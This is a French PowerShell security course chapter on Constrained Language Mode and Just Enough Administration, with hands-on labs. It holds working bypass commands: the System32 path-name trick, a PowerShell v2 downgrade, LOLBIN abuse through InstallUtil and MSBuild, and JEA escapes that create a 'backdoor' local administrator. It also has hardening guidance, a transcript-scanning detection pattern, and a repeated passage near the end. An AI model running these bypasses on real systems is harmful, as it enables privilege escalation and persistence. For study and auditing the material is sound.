Copié !
Chapitre 03

Constrained Language Mode
& Just Enough Administration

CLM et JEA sont les deux mécanismes de sécurité PowerShell les plus importants côté défensif - et les plus contournés côté offensif. Comprendre leurs limites exactes est indispensable pour les configurer correctement ou les exploiter efficacement.

INTERMÉDIAIRE → AVANCÉ OFFENSIF + DÉFENSIF 4 – 5h
3.1

CLM - Objectif, Activation & Limitations

Le Constrained Language Mode (CLM) est un mécanisme de sécurité PowerShell qui restreint les capacités du langage disponibles dans une session. Il a été conçu pour fonctionner conjointement avec AppLocker ou WDAC - et non pas comme une protection standalone. Utilisé seul, il offre une fausse sécurité facilement contournée.

Analogie : CLM est comme un terminal bancaire dont le clavier n'a que les touches chiffres - tu ne peux pas taper de commandes libres. Mais si le clavier est juste recouvert d'un cache en plastique (la variable d'environnement), n'importe qui peut l'enlever.
Les 5 LanguageModes de PowerShell
ModeDescriptionRestrictions
FullLanguageMode par défaut - aucune restrictionTout est autorisé
ConstrainedLanguageRestreint les types .NET et Win32APITypes .NET arbitraires, Add-Type, COM
RestrictedLanguagePour les fichiers de données uniquementPas de cmdlets, pas de variables
NoLanguageAucune commande PS - cmdlets whitelistées seulementUtilisé par JEA - le plus restrictif
NonInteractivePas d'input utilisateurScripts automatisés uniquement
Vérifier et observer CLMPOWERSHELL
# Voir le mode courant $ExecutionContext.SessionState.LanguageMode # → FullLanguage (par défaut) ou ConstrainedLanguage (si CLM actif) # ✖ Bloqué en CLM - types .NET arbitraires [System.Net.WebClient]::new() # → "Type is not allowed in Constrained Language mode" # ✖ Bloqué en CLM - Win32 API Add-Type -TypeDefinition "..." # → "Add-Type is not available" # ✖ Bloqué en CLM - COM Objects $ie = New-Object -ComObject "InternetExplorer.Application" # ✖ Bloqué en CLM - Réflexion .NET [System.Reflection.Assembly]::LoadFile("evil.dll") # ✅ Autorisé - cmdlets whitelistées et opérations de base Get-Process $x = 1 + 1 if ($x -eq 2) {}
Méthodes d'activation de CLM
Méthode 1 - Lab uniquement
Variable d'environnement

Activation rapide via __PSLockdownPolicy. Non sécurisée - n'importe quel utilisateur peut supprimer cette variable. Contournée en 10 secondes.

Méthode 2 - Production
AppLocker Whitelist

AppLocker en mode Deny-All déclenche CLM sur tous les scripts non signés. Robuste - le bypass System32 path ne fonctionne pas.

Méthode 3 - La plus robuste
WDAC / Device Guard

Windows Defender Application Control applique CLM au niveau kernel. Incontournable sans accès Ring 0. Recommandé pour les environnements haute sécurité.

Activer/Désactiver CLM via variable d'environnement (lab)POWERSHELL
# Activer CLM - valeur 4 = ConstrainedLanguage (exécuter en Admin) [Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4', 'Machine') # ⚠ Ouvrir un NOUVEAU terminal - la variable est lue au démarrage de PS $ExecutionContext.SessionState.LanguageMode # → ConstrainedLanguage # Désactiver [Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '', 'Machine')
__PSLockdownPolicy n'est pas sécurisée

Cette méthode est délibérément non sécurisée. Un attaquant peut supprimer cette variable depuis cmd.exe ou même depuis PowerShell en CLM lui-même. La vraie protection exige AppLocker ou WDAC - ces mécanismes appliquent CLM indépendamment de toute variable d'environnement.

3.2

La Vulnérabilité Logique - Bypass via "System32" dans le Path

Cette technique, documentée par Carrie Roberts (Black Hills InfoSec), exploite un bug logique dans le fichier wldpNativeMethods.cs du code source Windows. Quand CLM est activé via __PSLockdownPolicy, Windows vérifie si le chemin du script contient la chaîne "System32" - si oui, FullLanguage est accordé. La vérification est une simple recherche de sous-chaîne, pas une vérification que le fichier est réellement dans C:\Windows\System32.

Logique vulnérable dans wldpNativeMethodsPSEUDO-CODE
wldpQueryDynamicCodeTrust(path) { if (path.Contains("System32")) ← vérification naïve de sous-chaîne return TRUSTED; ← FullLanguage accordé ! else return UNTRUSTED; ← CLM appliqué }
Chemins qui bypassent CLM
CheminBypass ?Raison
C:\Users\alice\Desktop\system32.ps1✅ OUINom du fichier contient "system32"
C:\Users\alice\system32\payload.ps1✅ OUINom du dossier parent contient "system32"
C:\Users\Public\System32\evil.ps1✅ OUIDossier créé par l'attaquant dans Public
C:\Users\alice\Desktop\NotSystem32\test.ps1✖ NONLa sous-chaîne doit apparaître exactement
C:\Windows\System32\script.ps1✅ OUILe vrai System32 (écriture admin requise)
Autres techniques de bypass CLM
LOLBINs et downgrade PS v2POWERSHELL
# Bypass 1 : Downgrade PowerShell v2 - ignore CLM car il précède sa création powershell -Version 2 $ExecutionContext.SessionState.LanguageMode # → FullLanguage ! # Bypass 2 : InstallUtil.exe (LOLBIN .NET - signé Microsoft) # Whitelisté AppLocker par défaut → exécute du code .NET arbitraire C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe ` /logfile= /LogToConsole=false /U "C:\Tools\bypass-clm.exe" # Bypass 3 : rundll32 + PowerShdll # Crée un Runspace PS depuis une DLL - contourne CLM rundll32 PowerShdll.dll,main # Bypass 4 : MSBuild.exe (compile et exécute du C# - pas soumis à CLM) msbuild.exe malicious.csproj # Bypass 5 : Runspaces .NET depuis un exe externe # Un exécutable .NET peut créer un Runspace PS en FullLanguage # → cf. bypass-clm de calebstewart sur GitHub
Offensif - Stratégie immédiate

Si CLM est actif via __PSLockdownPolicy : nommer son script payload_system32.ps1 ou créer C:\Users\Public\System32\. Bypass complet en 10 secondes. Vérifier d'abord avec $ExecutionContext.SessionState.LanguageMode pour confirmer le mode et identifier la méthode d'activation avant de choisir la technique.

Défensif - La solution

Ce bypass ne fonctionne pas avec AppLocker ou WDAC. Règle absolue : ne jamais utiliser __PSLockdownPolicy seule en production. Désactiver PowerShell v2 (Disable-WindowsOptionalFeature) pour éliminer le bypass par downgrade.

3.3

JEA - Just Enough Administration

JEA implémente le principe du moindre privilège pour l'administration à distance via WinRM. L'utilisateur se connecte avec son propre compte non-privilégié, mais les commandes s'exécutent sous un Virtual Account - un compte administrateur local temporaire invisible à l'utilisateur. Si l'on atteint ce compte via un bypass, on a des droits admin complets.

Flux d'une connexion JEA
restricteduser (bas privilège)
│ Enter-PSSession -ConfigurationName "RestrictedCmdlets"
┌──────────────────────────────────────────────────────────┐
│ SANDBOX JEA │
│ LanguageMode: NoLanguage (le plus restrictif) │
│ Cmdlets dispo: [Get-Service, Restart-Service, ...] │
│ Exécuté sous: winrm virtual users\winrm va X (admin !) │
└──────────────────────────────────────────────────────────┘
↑ L'utilisateur ne voit pas le Virtual Account
↑ Mais si une commande whitelistée permet l'exécution → admin complet
Les deux fichiers de configuration JEA
Fichier .pssc
Session Configuration - le conteneur

Définit comment la session fonctionne : qui peut se connecter, sous quel compte le code s'exécute, quel LanguageMode est imposé, SessionType, TranscriptDirectory.

Fichier .psrc
Role Capabilities - les permissions

Définit quoi l'utilisateur peut faire : quelles cmdlets, quels paramètres autorisés (ValidateSet), quels programmes externes, quelles fonctions PS.

RestrictedCmdlets.pssc - Session Configuration annotéePOWERSHELL
@{ SchemaVersion = '2.0.0.0' GUID = 'xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx' # Virtual Account = compte admin local temporaire, invisible, éphémère RunAsVirtualAccount = $true # ⚠ NoLanguage = le plus restrictif - bloque ScriptBlocks et .NET # ConstrainedLanguage = moins restrictif → laisse passer [System.Diagnostics.Process] LanguageMode = 'NoLanguage' # ⚠ CRUCIAL : RestrictedRemoteServer bloque l'opérateur & avec ScriptBlocks # Absent ou 'Default' → bypass via & { ... } possible (voir section 3.5) SessionType = 'RestrictedRemoteServer' # Audit complet de chaque session JEA TranscriptDirectory = 'C:\JEA\Transcripts' RoleDefinitions = @{ 'BUILTIN\Remote Management Users' = @{ RoleCapabilities = 'HelpDeskRole' # Nom du .psrc sans extension } } }
HelpDeskRole.psrc - Role Capabilities annotéesPOWERSHELL
@{ GUID = 'yyyyyyyy-yyyy-yyyy-yyyy-yyyyyyyyyyyy' # ✅ ValidateSet = liste blanche stricte des valeurs autorisées par paramètre VisibleCmdlets = @( 'Get-Service', 'Get-Process', @{ Name = 'Restart-Service' Parameters = @{ Name = 'Name'; ValidateSet = 'Spooler', 'W32Time' } } ) # ⚠ Ne JAMAIS mettre cmd.exe, powershell.exe, wscript.exe ici VisibleExternalCommands = @( 'C:\Windows\System32\ipconfig.exe', 'C:\Windows\System32\ping.exe' ) VisibleFunctions = @('Get-SystemInfo') VisibleAliases = @() VisibleProviders = @('FileSystem') }
3.4

Configuration JEA - Déploiement Complet

Workflow de déploiement JEA - 6 étapes
1. Créer structure module (dossier + RoleCapabilities/) → 2. Créer .psrc → 3. Créer .pssc
4. Register-PSSessionConfiguration → 5. Restart-Service WinRM → 6. Tester
Déploiement JEA complet - toutes les étapesPOWERSHELL
# ── ÉTAPE 1 : Structure du module ────────────────────────────────── $modulePath = "C:\Program Files\WindowsPowerShell\Modules\JEALab" New-Item -ItemType Directory -Path "$modulePath\RoleCapabilities" -Force # ── ÉTAPE 2 : Fichier .psrc (permissions) ────────────────────────── @" @{ GUID = '$(New-Guid)' VisibleCmdlets = @('Get-Process', 'Get-Service', 'Get-LocalUser', 'Get-Date') VisibleExternalCommands = @( 'C:\Windows\System32\whoami.exe', 'C:\Windows\System32\ipconfig.exe' ) } "@ | Out-File "$modulePath\RoleCapabilities\RestrictedRole.psrc" -Encoding UTF8 # ── ÉTAPE 3 : Fichier .pssc (session config) ─────────────────────── New-Item -ItemType Directory -Path "C:\JEA\Transcripts" -Force @" @{ SchemaVersion = '2.0.0.0' GUID = '$(New-Guid)' RunAsVirtualAccount = `$true LanguageMode = 'NoLanguage' SessionType = 'RestrictedRemoteServer' TranscriptDirectory = 'C:\JEA\Transcripts' RoleDefinitions = @{ 'BUILTIN\Remote Management Users' = @{ RoleCapabilities = 'RestrictedRole' } } } "@ | Out-File "C:\JEA\RestrictedCmdlets.pssc" -Encoding UTF8 # ── ÉTAPES 4-5-6 : Enregistrer, redémarrer, tester ───────────────── Register-PSSessionConfiguration -Name "RestrictedCmdlets" ` -Path "C:\JEA\RestrictedCmdlets.pssc" -Force Restart-Service WinRM # Lister les sessions enregistrées Get-PSSessionConfiguration | Select-Object Name, Enabled, Permission # Voir les capacités effectives d'un utilisateur Get-PSSessionCapability -ConfigurationName "RestrictedCmdlets" ` -Username "$env:COMPUTERNAME\restricteduser"
Explorer une session JEA - restrictions et Virtual AccountPOWERSHELL
# Se connecter à l'endpoint JEA $cred = Get-Credential "restricteduser" Enter-PSSession -ComputerName localhost ` -Credential $cred ` -ConfigurationName "RestrictedCmdlets" # Dans la session JEA : $ExecutionContext.SessionState.LanguageMode # → NoLanguage [System.Console]::WriteLine("test") # → "The syntax is not supported in this runspace" Get-Command # → Seulement Get-Process, Get-Service, Get-LocalUser, Get-Date whoami # → "winrm virtual users\winrm va 2" - compte ADMIN local temporaire !
Virtual Account - le détail crucial

Le Virtual Account est un compte administrateur local temporaire et éphémère créé par WinRM pour chaque session JEA. Supprimé à la déconnexion. L'utilisateur ne peut pas le voir dans Get-LocalUser. Mais il a des droits admin complets - si une commande whitelistée permet d'exécuter du code arbitraire, ce code tourne en tant qu'admin.

3.5

Contournements JEA - Techniques Offensives

Lab uniquement

Ces techniques sont présentées pour comprendre les misconfigurationen JEA et savoir comment les tester lors d'un audit. À appliquer uniquement en environnement de lab autorisé.

Bypass 1 - SessionType Default + opérateur &

Si le .pssc ne définit pas SessionType ou l'omet, les ScriptBlocks via l'opérateur & sont autorisés malgré le NoLanguage. C'est la misconfiguration la plus courante.

Bypass 1 - ScriptBlock via & (SessionType absent)POWERSHELL
# Dans la session JEA avec SessionType non défini (Default) & { whoami } # → "winrm virtual users\winrm va X" - ScriptBlock fonctionne ! & { calc.exe } # → calc.exe lancé sous le Virtual Account (admin local) & { New-LocalUser -Name "backdoor" -Password (ConvertTo-SecureString "P@ss!" -AsPlainText -Force) } # → Crée un utilisateur en tant qu'admin - élévation complète !
Bypass 2 - ConstrainedLanguage au lieu de NoLanguage

Si le .pssc utilise LanguageMode = 'ConstrainedLanguage' au lieu de 'NoLanguage', System.Diagnostics.Process reste accessible.

Bypass 2 - .NET dans ConstrainedLanguagePOWERSHELL
# Session JEA avec LanguageMode = 'ConstrainedLanguage' [System.Diagnostics.Process]::Start("calc.exe") # → Lance calc.exe sous le Virtual Account (admin)
Bypass 3 - Commandes dangereuses dans VisibleExternalCommands
Bypass 3 - calc.exe ou cmd.exe whitelistésPOWERSHELL
# Si calc.exe est dans VisibleExternalCommands calc.exe # → Lancé sous Virtual Account (admin) # Si cmd.exe est whitelisté - game over cmd.exe /c "net user backdoor P@ss /add && net localgroup Administrators backdoor /add" # → Créé un admin backdoor depuis la session restricteduser # Via l'opérateur & avec chemin complet & "C:\Windows\System32\calc.exe" $c = "C:\Windows\System32\calc.exe"; & $c
Bypass 4 - Fonctions VisibleFunctions sans validation
Bypass 4 - injection via fonction mal implémentéePOWERSHELL
# .psrc vulnérable : Start-Process whitelisté sans restriction de paramètres # VisibleFunctions = @('Start-Process') ← DANGEREUX Start-Process "cmd.exe" -ArgumentList "/c whoami" # → Exécution en tant que Virtual Account (admin local) # Fonction wrapper mal sécurisée (sans ValidateSet) : # function Restart-ServiceSafe { param($Name) Restart-Service $Name } # → Peut redémarrer n'importe quel service, pas seulement les autorisés
3.6

PSProviders - Rôle dans les Contournements

Un PSProvider est une interface qui donne à PowerShell un accès uniforme à différentes sources de données (système de fichiers, registre, certificats…). En session JEA, certains providers autorisés peuvent devenir des vecteurs d'information ou de contournement.

PSProviders - liste, navigation et exploitation en JEAPOWERSHELL
# Lister tous les providers disponibles Get-PSProvider # → FileSystem {C, D, Z}, Registry {HKLM, HKCU}, Alias, Environment # → Function {Function}, Variable, Certificate {Cert}, WSMan # Provider Function: - lire le code source des fonctions whitelistées ! # Si la fonction est mal implémentée, on voit comment l'exploiter Get-ChildItem "Function:" Get-Content "Function:\Restart-ServiceSafe" # → Affiche le code PS complet de la fonction # → Si param($Name) sans ValidateSet → injection possible # Provider Registry - accès aux clés (si autorisé) Get-ChildItem "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" # Provider Variable - voir les variables de session Get-ChildItem "Variable:" # Manipulation PATH via Env: (si écriture autorisée) $env:PATH = "C:\Users\Public;" + $env:PATH # → Priorité à un faux exécutable dans Public
Offensif - Provider Function: pour lire les fonctions

Via le provider Function:, si une fonction est whitelistée dans JEA, tu peux lire son code source complet depuis la session avec Get-Content "Function:\NomFonction". Si la fonction appelle des cmdlets avec des paramètres non validés passés par l'utilisateur, tu contrôles ces appels depuis le contexte du Virtual Account (admin).

3.7

Tableau des Contournements par LanguageMode

Référence rapide - ce qui fonctionne selon le mode configuré. Les VULN indiquent les cases exploitables qui ne devraient pas l'être selon l'intention défensive.

Technique de bypassFullConstrainedNoLangNoLang+Default
Types .NET arbitraires
Add-Type / P/Invoke
ScriptBlocks { }VULN
Opérateur &VULN
Commandes externes whitelistées
PSProvidersLimitéLimité
[System.Diagnostics.Process]::Start()VULN
Bypass System32 (__PSLockdownPolicy)---
Downgrade PS v2
InstallUtil / MSBuild (LOLBIN)
3.8

Remédiations - Durcissement CLM + JEA

Durcissement CLM - bonnes pratiquesPOWERSHELL
# ✅ Désactiver PowerShell v2 - élimine le bypass par downgrade Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root # → State : Disabled # ✅ Signer les scripts légitimes avec un certificat de code $cert = New-SelfSignedCertificate -Type CodeSigningCert ` -Subject "CN=Mon Organisation" -CertStoreLocation "Cert:\CurrentUser\My" Set-AuthenticodeSignature -FilePath ".\monscript.ps1" -Certificate $cert # ✅ AppLocker en mode Whitelist (via gpedit.msc) : # Computer Configuration → Windows Settings → Security Settings # → Application Control Policies → AppLocker → Configure Rule Enforcement # → Exécutable Rules + Script Rules : Configured + Enforce Rules # ✅ WDAC = plus robuste qu'AppLocker (appliqué au niveau kernel)
.pssc sécurisé - template de productionPOWERSHELL
@" @{ SchemaVersion = '2.0.0.0' GUID = '$(New-Guid)' RunAsVirtualAccount = `$true # Isolation des permissions LanguageMode = 'NoLanguage' # Le plus restrictif SessionType = 'RestrictedRemoteServer' # Bloque l'opérateur & TranscriptDirectory = 'C:\JEA\Transcripts' # Audit complet RoleDefinitions = @{ 'BUILTIN\Remote Management Users' = @{ RoleCapabilities = 'RestrictedRole' } } } "@
Audit JEA - vérifier config + analyser transcriptsPOWERSHELL
# Vérifier la configuration active Get-PSSessionConfiguration -Name "RestrictedCmdlets" | Select-Object Name, LanguageMode, RunAsVirtualAccount, Permission # Capacités effectives d'un utilisateur Get-PSSessionCapability -ConfigurationName "RestrictedCmdlets" ` -Username "MACHINE\restricteduser" # Détecter des commandes suspectes dans les transcripts JEA Get-ChildItem "C:\JEA\Transcripts\" -Filter "*.txt" | Sort-Object LastWriteTime -Descending | Select-Object -First 10 | ForEach-Object { $suspects = Get-Content $_.FullName | Where-Object { $_ -match "cmd.exe|powershell|calc|net user|net localgroup" } if ($suspects) { Write-Warning "[!] Activité suspecte dans $($_.Name)" $suspects | ForEach-Object { Write-Host " >> $_" -ForegroundColor Yellow } } } # Event ID 4104 dans une session JEA = anormal si NoLanguage actif Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object {$_.Id -eq 4104 -and $_.Message -match "RestrictedCmdlets"} | Select-Object TimeCreated, Message | Format-List
TP 1

Activer CLM & Bypasser via System32

TP 03-AObserver CLM en action et exploiter la vulnérabilité du chemin System32INTERMÉDIAIRE
Objectifs
  1. Activer CLM via __PSLockdownPolicy et observer les blocages
  2. Confirmer quels types .NET sont bloqués, lesquels restent autorisés
  3. Bypasser via nom de fichier contenant "system32"
  4. Bypasser via un dossier contenant "System32" créé par l'attaquant
Activation + tests de blocages CLMPOWERSHELL
# Activer CLM (en Admin) [Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4', 'Machine') # ⚠ Ouvrir un NOUVEAU terminal PowerShell $ExecutionContext.SessionState.LanguageMode # → ConstrainedLanguage # Test 1 : Type .NET arbitraire [System.Console]::WriteLine("test") # → Erreur # Test 2 : WebClient $wc = New-Object System.Net.WebClient # → Erreur # Test 3 : Add-Type Add-Type -TypeDefinition "public class Test {}" # → Erreur # Test 4 : Cmdlets normales - toujours ok Get-Process | Select-Object -First 3 # → ✅ Fonctionne
Bypass CLM via system32 dans le cheminPOWERSHELL
$testScript = @' Write-Host "LanguageMode : $($ExecutionContext.SessionState.LanguageMode)" [System.Console]::WriteLine("Bypass reussi si tu lis ceci !") '@ # Version SANS bypass → CLM actif $testScript | Out-File "C:\Users\Public\test_normal.ps1" powershell.exe -File "C:\Users\Public\test_normal.ps1" # → ConstrainedLanguage + Erreur sur Console::WriteLine # Version AVEC "system32" dans le NOM → bypass ! $testScript | Out-File "C:\Users\Public\test_system32.ps1" powershell.exe -File "C:\Users\Public\test_system32.ps1" # → FullLanguage + "Bypass reussi si tu lis ceci !" ← le bug ! # Version via DOSSIER contenant System32 New-Item -ItemType Directory -Path "C:\Users\Public\System32" -Force $testScript | Out-File "C:\Users\Public\System32\payload.ps1" powershell.exe -File "C:\Users\Public\System32\payload.ps1" # → FullLanguage ! Même un dossier dans Public suffit. # ── Nettoyage ──────────────────────────────────────────────────── [Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '', 'Machine') Remove-Item "C:\Users\Public\test_*.ps1" Remove-Item "C:\Users\Public\System32\" -Recurse -Force
TP 2

Déployer JEA & Bypasser via les Deux Méthodes

TP 03-BConfigurer JEA vulnérable, exploiter, puis déployer la version sécuriséeAVANCÉ
Objectifs
  1. Déployer un endpoint JEA intentionnellement vulnérable (calc.exe + SessionType Default)
  2. Exploiter calc.exe whitelisté - observer l'exécution sous Virtual Account
  3. Exploiter l'opérateur & via SessionType absent
  4. Lire les transcripts générés - voir les traces des bypasses
  5. Déployer la version sécurisée et confirmer que les bypasses échouent
Déploiement JEA vulnérable (exécuter en Admin)POWERSHELL
$modulePath = "C:\Program Files\WindowsPowerShell\Modules\JEALab" New-Item -ItemType Directory -Path "$modulePath\RoleCapabilities" -Force New-Item -ItemType Directory -Path "C:\JEA\Transcripts" -Force # .psrc avec calc.exe - intentionnellement vulnérable @" @{ GUID = '$(New-Guid)' VisibleCmdlets = @('Get-Process', 'Get-Service', 'Get-Date', 'Get-LocalUser') VisibleExternalCommands = @( 'C:\Windows\System32\whoami.exe', 'C:\Windows\System32\calc.exe' ) } "@ | Out-File "$modulePath\RoleCapabilities\RestrictedRole.psrc" # .pssc vulnérable - SessionType absent (= Default) @" @{ SchemaVersion = '2.0.0.0' GUID = '$(New-Guid)' RunAsVirtualAccount = `$true LanguageMode = 'NoLanguage' TranscriptDirectory = 'C:\JEA\Transcripts' RoleDefinitions = @{ 'BUILTIN\Remote Management Users' = @{ RoleCapabilities = 'RestrictedRole' } } } "@ | Out-File "C:\JEA\RestrictedCmdlets.pssc" Register-PSSessionConfiguration -Name "RestrictedCmdlets" ` -Path "C:\JEA\RestrictedCmdlets.pssc" -Force Restart-Service WinRM Write-Host "JEA vulnérable déployé" -ForegroundColor Yellow
Bypass JEA - calc.exe + opérateur &POWERSHELL
$secPwd = ConvertTo-SecureString "Restricted@2024!" -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential("restricteduser", $secPwd) $session = New-PSSession -ComputerName localhost -Credential $cred -ConfigurationName "RestrictedCmdlets" # Vérifier le contexte Invoke-Command -Session $session -ScriptBlock { Write-Host "Mode : $($ExecutionContext.SessionState.LanguageMode)" Write-Host "Connecté en tant que : $(whoami)" } # BYPASS 1 : calc.exe whitelisté → exécuté en Virtual Account (admin !) Invoke-Command -Session $session -ScriptBlock { calc.exe whoami # → "winrm virtual users\winrm va X" - admin local } # BYPASS 2 : opérateur & fonctionne car SessionType = Default Invoke-Command -Session $session -ScriptBlock { & { whoami } # → fonctionne ! & "C:\Windows\System32\calc.exe" # → calc en Virtual Account } Remove-PSSession -Session $session
Transcripts + re-déploiement sécuriséPOWERSHELL
# Lire le dernier transcript JEA Get-ChildItem "C:\JEA\Transcripts\" | Sort-Object LastWriteTime -Descending | Select-Object -First 1 | ForEach-Object { Get-Content $_.FullName } # → Les bypasses via & et calc.exe apparaissent dans le log # ── Correction : déployer la version sécurisée ─────────────────── @" @{ GUID = '$(New-Guid)' VisibleCmdlets = @( 'Get-Process', 'Get-Date', @{ Name = 'Get-Service'; Parameters = @{ Name = 'Name'; ValidateSet = 'Spooler','W32Time' } } ) VisibleExternalCommands = @('C:\Windows\System32\whoami.exe') } "@ | Out-File "$modulePath\RoleCapabilities\RestrictedRole.psrc" -Force @" @{ SchemaVersion = '2.0.0.0' GUID = '$(New-Guid)' RunAsVirtualAccount = `$true LanguageMode = 'NoLanguage' SessionType = 'RestrictedRemoteServer' TranscriptDirectory = 'C:\JEA\Transcripts' RoleDefinitions = @{ 'BUILTIN\Remote Management Users' = @{ RoleCapabilities = 'RestrictedRole' } } } "@ | Out-File "C:\JEA\RestrictedCmdlets.pssc" -Force Unregister-PSSessionConfiguration -Name "RestrictedCmdlets" -EA SilentlyContinue Register-PSSessionConfiguration -Name "RestrictedCmdlets" ` -Path "C:\JEA\RestrictedCmdlets.pssc" -Force Restart-Service WinRM Write-Host "JEA sécurisé déployé - testez à nouveau les bypasses" -ForegroundColor Green # → Les deux méthodes de bypass doivent maintenant échouer

Résumé - Points clés à retenir

Offensif
Priorités de bypass

CLM via __PSLockdownPolicy → bypass nom fichier/dossier System32. CLM robuste → LOLBINs (InstallUtil, MSBuild), downgrade PS v2. JEA → VisibleExternalCommands dangereuses, opérateur & si SessionType Default, lire Function:.

Défensif
Checklist durcissement

Désactiver PS v2. AppLocker/WDAC (jamais __PSLockdownPolicy seule). JEA : SessionType = RestrictedRemoteServer, LanguageMode = NoLanguage, ValidateSet partout, jamais cmd.exe whitelisté, TranscriptDirectory actif.

  • Expliquer les 5 LanguageModes et leurs différences pratiques
  • Activer CLM via __PSLockdownPolicy et identifier ses blocages exacts
  • Bypasser CLM via nom de fichier ou dossier contenant "System32"
  • Utiliser les LOLBINs (InstallUtil, MSBuild) pour contourner CLM robuste
  • Créer un module JEA avec .pssc et .psrc corrects
  • Identifier et exploiter un JEA avec SessionType = Default
  • Identifier des commandes dangereuses dans VisibleExternalCommands
  • Lire le code des fonctions via le provider Function:
  • Configurer JEA avec SessionType = RestrictedRemoteServer et ValidateSet
  • Analyser les transcripts JEA pour détecter des activités suspectes
Prochain chapitre

Le Chapitre 4 - Registre Windows : persistance, clés de voûte des malwares, audit forensique des modifications critiques.

3.1

CLM - Objectif, Activation & Limitations

Le Constrained Language Mode (CLM) est un mécanisme de sécurité PowerShell qui restreint les capacités du langage disponibles dans une session. Il a été conçu pour fonctionner conjointement avec AppLocker ou WDAC - et non pas comme une protection standalone. Utilisé seul, il offre une fausse sécurité facilement contournée.

Analogie : CLM est comme un terminal bancaire dont le clavier n'a que les touches chiffres - tu ne peux pas taper de commandes libres. Mais si le clavier est juste recouvert d'un cache en plastique (la variable d'environnement), n'importe qui peut l'enlever.
Les 5 LanguageModes de PowerShell
ModeDescriptionRestrictions
FullLanguageMode par défaut - aucune restrictionTout est autorisé
ConstrainedLanguageRestreint les types .NET et Win32APITypes .NET arbitraires, Add-Type, COM
RestrictedLanguagePour les fichiers de données uniquementPas de cmdlets, pas de variables
NoLanguageAucune commande PS - cmdlets whitelistées seulementUtilisé par JEA - le plus restrictif
NonInteractivePas d'input utilisateurScripts automatisés uniquement
Vérifier et observer CLMPOWERSHELL
# Voir le mode courant $ExecutionContext.SessionState.LanguageMode # → FullLanguage (par défaut) ou ConstrainedLanguage (si CLM actif) # ✖ Bloqué en CLM - types .NET arbitraires [System.Net.WebClient]::new() # → "Type is not allowed in Constrained Language mode" # ✖ Bloqué en CLM - Win32 API Add-Type -TypeDefinition "..." # → "Add-Type is not available" # ✖ Bloqué en CLM - COM Objects $ie = New-Object -ComObject "InternetExplorer.Application" # ✖ Bloqué en CLM - Réflexion .NET [System.Reflection.Assembly]::LoadFile("evil.dll") # ✅ Autorisé - cmdlets whitelistées et opérations de base Get-Process $x = 1 + 1 if ($x -eq 2) {}
Méthodes d'activation de CLM
Méthode 1 - Lab uniquement
Variable d'environnement

Activation rapide via __PSLockdownPolicy. Non sécurisée - n'importe quel utilisateur peut supprimer cette variable. Contournée en 10 secondes.

Méthode 2 - Production
AppLocker Whitelist

AppLocker en mode Deny-All déclenche CLM sur tous les scripts non signés. Robuste - le bypass System32 path ne fonctionne pas.

Méthode 3 - La plus robuste
WDAC / Device Guard

Windows Defender Application Control applique CLM au niveau kernel. Incontournable sans accès Ring 0. Recommandé pour les environnements haute sécurité.

Activer/Désactiver CLM via variable d'environnement (lab)POWERSHELL
# Activer CLM - valeur 4 = ConstrainedLanguage (exécuter en Admin) [Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4', 'Machine') # ⚠ Ouvrir un NOUVEAU terminal - la variable est lue au démarrage de PS $ExecutionContext.SessionState.LanguageMode # → ConstrainedLanguage # Désactiver [Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '', 'Machine')
__PSLockdownPolicy n'est pas sécurisée

Cette méthode est délibérément non sécurisée. Un attaquant peut supprimer cette variable depuis cmd.exe ou même depuis PowerShell en CLM lui-même. La vraie protection exige AppLocker ou WDAC - ces mécanismes appliquent CLM indépendamment de toute variable d'environnement.

3.2

La Vulnérabilité Logique - Bypass via "System32" dans le Path

Cette technique, documentée par Carrie Roberts (Black Hills InfoSec), exploite un bug logique dans le fichier wldpNativeMethods.cs du code source Windows. Quand CLM est activé via __PSLockdownPolicy, Windows vérifie si le chemin du script contient la chaîne "System32" - si oui, FullLanguage est accordé. La vérification est une simple recherche de sous-chaîne, pas une vérification que le fichier est réellement dans C:\Windows\System32.

Logique vulnérable dans wldpNativeMethodsPSEUDO-CODE
wldpQueryDynamicCodeTrust(path) { if (path.Contains("System32")) ← vérification naïve de sous-chaîne return TRUSTED; ← FullLanguage accordé ! else return UNTRUSTED; ← CLM appliqué }
Chemins qui bypassent CLM
CheminBypass ?Raison
C:\Users\alice\Desktop\system32.ps1✅ OUINom du fichier contient "system32"
C:\Users\alice\system32\payload.ps1✅ OUINom du dossier parent contient "system32"
C:\Users\Public\System32\evil.ps1✅ OUIDossier créé par l'attaquant dans Public
C:\Users\alice\Desktop\NotSystem32\test.ps1✖ NONLa sous-chaîne doit apparaître exactement
C:\Windows\System32\script.ps1✅ OUILe vrai System32 (écriture admin requise)
Autres techniques de bypass CLM
LOLBINs et downgrade PS v2POWERSHELL
# Bypass 1 : Downgrade PowerShell v2 - ignore CLM car il précède sa création powershell -Version 2 $ExecutionContext.SessionState.LanguageMode # → FullLanguage ! # Bypass 2 : InstallUtil.exe (LOLBIN .NET - signé Microsoft) # Whitelisté AppLocker par défaut → exécute du code .NET arbitraire C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe ` /logfile= /LogToConsole=false /U "C:\Tools\bypass-clm.exe" # Bypass 3 : rundll32 + PowerShdll # Crée un Runspace PS depuis une DLL - contourne CLM rundll32 PowerShdll.dll,main # Bypass 4 : MSBuild.exe (compile et exécute du C# - pas soumis à CLM) msbuild.exe malicious.csproj # Bypass 5 : Runspaces .NET depuis un exe externe # Un exécutable .NET peut créer un Runspace PS en FullLanguage # → cf. bypass-clm de calebstewart sur GitHub
Offensif - Stratégie immédiate

Si CLM est actif via __PSLockdownPolicy : nommer son script payload_system32.ps1 ou créer C:\Users\Public\System32\. Bypass complet en 10 secondes. Vérifier d'abord avec $ExecutionContext.SessionState.LanguageMode pour confirmer le mode et identifier la méthode d'activation avant de choisir la technique.

Défensif - La solution

